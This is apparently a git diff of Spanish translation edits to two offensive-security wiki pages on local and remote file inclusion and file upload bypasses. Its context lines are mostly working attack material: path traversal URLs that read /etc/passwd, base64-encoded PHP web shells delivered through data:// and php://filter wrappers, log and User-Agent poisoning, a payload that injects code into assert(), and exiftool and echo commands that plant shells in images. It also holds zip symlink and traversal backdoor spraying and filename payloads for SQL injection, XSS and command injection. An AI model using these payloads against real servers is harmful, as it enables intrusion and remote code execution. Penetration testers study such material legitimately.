||||
|
||||
1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual al recuperar con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
|
||||
1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual al obtener con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Sondear carpetas:** Agrega el nombre de la carpeta sospechada (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
2. **Sonde para Carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -99,7 +99,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
|
||||
|
||||
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
|
||||
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Determinación del número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
|
||||
|
||||
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
|
||||
@ -153,7 +153,7 @@ Si por alguna razón **`allow_url_include`** está **Activado**, pero PHP está
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, por lo que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
|
||||
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
|
||||
|
||||
Otro ejemplo **sin usar el protocolo `php://`** sería:
|
||||
```
|
||||
@ -209,11 +209,11 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI usando envolturas y protocolos PHP
|
||||
## LFI / RFI usando envoltorios y protocolos PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
Los filtros PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -284,8 +284,8 @@ En la publicación original puedes encontrar una explicación detallada de la t
|
||||
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
|
||||
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
|
||||
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de orden de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **pivote con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
|
||||
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -378,12 +378,12 @@ Fue posible asignar bloques de tamaños específicos abusando de más filtros ph
|
||||
|
||||
Verifique más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
||||
- [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
|
||||
|
||||
@ -395,7 +395,7 @@ Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido d
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
Mientras que esto tiene como objetivo detener la traversía, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -408,7 +408,7 @@ Es importante **codificar en URL estas cargas útiles**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) pero el contenido no se muestra.
|
||||
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
|
||||
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
|
||||
|
||||
@ -424,7 +424,7 @@ Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junt
|
||||
|
||||
### Inclusión de Archivos Remotos
|
||||
|
||||
Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
||||
Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
|
||||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
|
||||
@ -435,7 +435,7 @@ Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de i
|
||||
>
|
||||
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. La cabecera **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de esta cabecera.\
|
||||
Otras posibles rutas de registro:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -466,7 +466,7 @@ Como un archivo de registro, envía la carga útil en el User-Agent, se reflejar
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### A través de la carga
|
||||
### Vía carga
|
||||
|
||||
Si puedes cargar un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
@ -519,9 +519,9 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### A través de filtros php (no se necesita archivo)
|
||||
### A través de filtros php (sin archivo necesario)
|
||||
|
||||
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||||
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para incluir **sin necesidad de escribirlo** en un archivo.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -537,7 +537,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### A través del almacenamiento de archivos temporales de Nginx
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Local** y **Nginx** está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica:
|
||||
Si encontraste una **Inclusión de Archivos Locales** y **Nginx** está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### A través de PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Apagado`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
|
||||
Si encontraste una **Inclusión de Archivos Locales** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -553,7 +553,7 @@ via-php_session_upload_progress.md
|
||||
|
||||
### A través de cargas de archivos temporales en Windows
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Local** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
||||
Si encontraste una **Inclusión de Archivos Locales** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### A través de `pearcmd.php` + argumentos de URL
|
||||
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
|
||||
|
||||
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
|
||||
```bash
|
||||
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### A través de espera eterna + bruteforce
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **forzar nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
|
||||
@ -21,7 +21,7 @@ Otras extensiones útiles:
|
||||
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los **caracteres ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones mencionadas anteriormente**_)
|
||||
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los **caracteres ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -46,12 +46,12 @@ Otras extensiones útiles:
|
||||
6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
|
||||
- _ej: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
|
||||
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
|
||||
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux máximo 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
|
||||
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -61,9 +61,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento
|
||||
|
||||
- Elude las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
|
||||
- Eludir las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
|
||||
- Eludir la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` o también podrías **introducir la carga directamente** en una imagen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
@ -77,7 +77,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
### Otros trucos a verificar
|
||||
|
||||
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
|
||||
- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
|
||||
- Encuentra una vulnerabilidad de **Inclusión de Archivos Local** para ejecutar el backdoor.
|
||||
- **Posible divulgación de información**:
|
||||
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
|
||||
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||||
@ -85,7 +85,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
4. Sube un archivo que puede no ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
|
||||
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
|
||||
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
|
||||
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
|
||||
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea accidentalmente abierto por la víctima.
|
||||
|
||||
### Trucos especiales de extensión
|
||||
|
||||
@ -98,7 +98,7 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
|
||||
Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, ¡sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -164,19 +164,19 @@ Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta v
|
||||
|
||||
## De la carga de archivos a otras vulnerabilidades
|
||||
|
||||
- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **traversal de ruta**
|
||||
- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal**
|
||||
- Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL**
|
||||
- Establezca **filename** en `<svg onload=alert(document.domain)>` para lograr un XSS
|
||||
- Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
|
||||
- [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** archivo **carga** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** archivo **upload** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**Open Redirect** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
- [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar algunos PDF que ejecuten JS arbitrario siguiendo las indicaciones dadas.
|
||||
- PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
|
||||
- Cargue el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
|
||||
- Verifique si hay algún **límite de tamaño** al cargar archivos
|
||||
|
||||
@ -212,7 +212,7 @@ Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer
|
||||
|
||||
#### Symlink
|
||||
|
||||
Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
|
||||
Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -249,7 +249,7 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Abusando de la compresión para la pulverización de archivos**
|
||||
**Abusando de la compresión para el file spraying**
|
||||
|
||||
Para más detalles **consulta la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
@ -263,14 +263,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **Pulverización de Archivos y Creación de Archivos Comprimidos**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
|
||||
2. **File Spraying y Creación de Archivos Comprimidos**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para recorrer directorios.
|
||||
3. **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -289,7 +289,7 @@ pop graphic-context
|
||||
```
|
||||
## Incrustación de Shell PHP en PNG
|
||||
|
||||
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
|
||||
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
|
||||
|
||||
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
|
||||
|
||||
@ -301,7 +301,7 @@ Los archivos políglota sirven como una herramienta única en ciberseguridad, ac
|
||||
|
||||
